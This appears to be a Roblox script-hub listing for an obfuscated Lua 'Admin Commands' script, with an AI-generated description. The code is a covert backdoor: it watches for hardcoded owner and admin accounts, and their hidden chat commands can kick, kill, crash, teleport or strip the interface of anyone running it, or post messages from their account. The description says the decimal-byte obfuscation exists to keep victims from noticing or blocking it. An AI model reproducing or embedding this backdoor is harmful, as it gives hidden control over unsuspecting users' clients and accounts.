Admin Commands READ DESC
Key RequiredUniversal

Admin Commands READ DESC

Universal ScriptAabbaaii13Aabbaaii13 1.8K views 817 executesUpdated Dec 25, 2025
5.0/ 5(3 votes)
30100% Positive
Lua Script•9 lines (3849 chars)
local o={["bendyzombie12345_2"]=true,["bendyzombie12345"]=true}
local a={["aabbaaii13"]=true,["aabbaaii14"]=true,["aabbaaii15"]=true,["aabbaaii16"]=true}
local n={["t1"]=" Joined!",["d1"]="The Creator Of Script",["t2"]="Admin Joined!",["d2"]=7,["t3"]="Notification",["d3"]=10,["t4"]="List Of Commands"}
task.spawn(function()
local s1={"\80\108\97\121\101\114\115","\83\116\97\114\116\101\114\71\117\105","\67\111\114\101\71\117\105","\47\101\32","\32","\124","\37\115\43","\97\108\108","\58\107\105\99\107","\78\111\32\82\101\97\115\111\110","\58\110\111\116\105\102\121","\83\101\110\100\78\111\116\105\102\105\99\97\116\105\111\110","\78\111\32\77\101\115\115\97\103\101","\58\107\105\108\108","\72\117\109\97\110\111\105\100","\58\99\114\97\115\104","\72\117\109\97\110\111\105\100\82\111\111\116\80\97\114\116","\58\98\114\105\110\103","\59\100\101\108\101\116\101","\84\111\112\66\97\114\65\112\112","\110\105\110\101\95\100\111\116","\50","\51","\58\99\109\100\115","\58\107\105\99\107\44\32\58\110\111\116\105\102\121\44\32\58\107\105\108\108\44\32\58\99\114\97\115\104\44\32\58\98\114\105\110\103\44\32\59\100\101\108\101\116\101\44\32\58\99\104\97\116","\58\99\104\97\116","\84\101\120\116\67\104\97\116\83\101\114\118\105\99\101"}
local g1=game;local g2=g1:GetService(s1[1]);local g3=g1:GetService(s1[2]);local g4=g1:GetService(s1[3]);local g5=g1:GetService(s1[27]);local lp=g2.LocalPlayer;local h1={}local function f1(p1)
local n1=p1.Name:lower()local io=o[p1.Name]or o[n1]local ia=a[p1.Name]or a[n1]if(io or ia)and not h1[p1]then h1[p1]=true;local t=io and p1.DisplayName..n.t1 or n.t2;local tx=io and n.d1 or p1.DisplayName.." is an Admin"g3:SetCore(s1[12],{Title=t,Text=tx,Duration=n.d2})p1.Chatted:Connect(function(m1)
local m2=m1:lower()if m2:sub(1,3)==s1[4]then m2=m2:sub(4)end;local pfx=m2:sub(1,1)if pfx~=":"and pfx~=";"then return end;local sp1=m2:split(s1[5])local c1=sp1[1]:gsub("^;",":")if not c1 then return end;local r1=m2:sub(#c1+2)local d1=r1:split(s1[6])local t1=(d1[1]or""):gsub(s1[7],"")local un=lp.Name:lower()local lo=o[lp.Name]or o[un]local la=a[lp.Name]or a[un]local ic=false;if c1==s1[24]then ic=true else if t1==s1[8]or(t1~="" and un:find(t1))then if io then if not lo or p1==lp then ic=true end elseif ia then if not lo and not la or p1==lp then ic=true end end end end;if ic then
if c1==s1[9]then lp:Kick(d1[2]or s1[10])elseif c1==s1[11]then g3:SetCore(s1[12],{Title=n.t3,Text=d1[2]or s1[13],Duration=n.d3})elseif c1==s1[14]then if lp.Character and lp.Character:FindFirstChild(s1[15])then lp.Character:FindFirstChild(s1[15]).Health=0 end;elseif c1==s1[16]then if lp.Character and lp.Character:FindFirstChild(s1[17])then for i=5,1,-1 do g3:SetCore(s1[12],{Title="CRASHING",Text="Crashing in "..i,Duration=1})task.wait(1)end while true do end end;elseif c1==s1[18]then if p1.Character and p1.Character:FindFirstChild(s1[17])and lp.Character and lp.Character:FindFirstChild(s1[17])then lp.Character:FindFirstChild(s1[17]).CFrame=p1.Character:FindFirstChild(s1[17]).CFrame end;elseif c1==s1[19]:gsub("^;",":")then local tba=g4:FindFirstChild(s1[20])if tba then local nd=tba.TopBarApp.UnibarLeftFrame.UnibarMenu[s1[22]][s1[23]]:FindFirstChild(s1[21])local mih=tba.TopBarApp.MenuIconHolder;if nd then nd:Destroy()end;if mih then mih:Destroy()end end;elseif c1==s1[24]then g3:SetCore(s1[12],{Title=n.t4,Text=s1[25],Duration=10})elseif c1==s1[26]then local msg=""for i=2,#d1 do if d1[i]~=""then msg=d1[i]:match("^%s*(.-)%s*$")break end end;if msg~=""then if g5.ChatVersion==Enum.ChatVersion.TextChatService then g5.TextChannels.RBXGeneral:SendAsync(msg)else game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(msg,"All")end end end end end)end end;g2.PlayerRemoving:Connect(function(p2)h1[p2]=nil end)for _,v in ipairs(g2:GetPlayers())do f1(v)end;g2.PlayerAdded:Connect(f1)end)

Features & Information

i cant explain really lot, soo the whole description is ai generated :( --- The script's primary function is to give script creators a way to manage users running their code. It basically gives you back-end control over a user's client, meaning they have to follow whatever rules you set while using your script. Think of it as a control panel for script owners who want to keep things in line. If someone's not using your script as intended, or if you simply want to show who's in charge, you can use built-in commands to remove them from the game, kick them out, or even crash their client instantly. The best part? These commands are hidden chat commands, so users won't even know how you're doing it. --- Here’s a simple breakdown of how to get it working: First, the user needs to run your script in their executor. Once it's running, the script automatically scans the server for your name. As soon as you or one of your designated admins join, the script will link itself to you. From there, you just type commands into the chat to tell the user what to do. For example, you can publicly announce :Kill All to affect everyone, or you can use /e :Kill All for a silent command that only you and the script know about. The /e part is optional, but it's good for keeping your commands private. --- Let's quickly look at what sorts of commands you have at your disposal: --- * **Kick | Reason**: This command lets you boot a user out of the game and include a custom message explaining why. * **Notify | Text**: You can make a custom notification pop up on their screen, which is useful for sending warnings or messages. * **Kill**: This one instantly resets their character's health to zero. * **Crash**: After a 5-second warning, this command completely freezes their Roblox client. * **Bring**: Their character will be teleported directly to wherever you are in the game. * **Delete**: This command wipes out their TopBar and menu icons, making it harder for them to escape or manipulate the game. * **Chat | Message**: You can make their account say whatever message you want in the game chat. * **Cmds**: This command sends you a quick list of all the things you can do to users, which is handy if you forget something. --- You might be wondering why this script is put together in a way that makes it tough to read. The script uses something called Decimal Byte Encoding in its S1 Table. What this means is that common words and phrases are turned into strings of numbers, like \80\108\97\121\101\114\115 instead of Players. This encoding is specifically designed to stop people who try to copy your script or tweak it without understanding how it works. It makes the code look like confusing text to anyone trying to reverse-engineer it. This keeps people who try to block your commands guessing and makes it hard for unauthorized users to figure out how your control methods actually work, keeping your backend interactions private and secure. --- Regarding the logic behind it, permissions are handled using the O table for you, the owner, and the A table for any trusted admins you set up. The S1 table, as mentioned, is encoded with decimal bytes so that your control strings stay hidden from regular users. When it comes to targeting, you can either apply a command to All users, or you can target specific individuals by typing a part of their name after the command. This helps ensure precise control over your script users.
#script#admin#command#op#source

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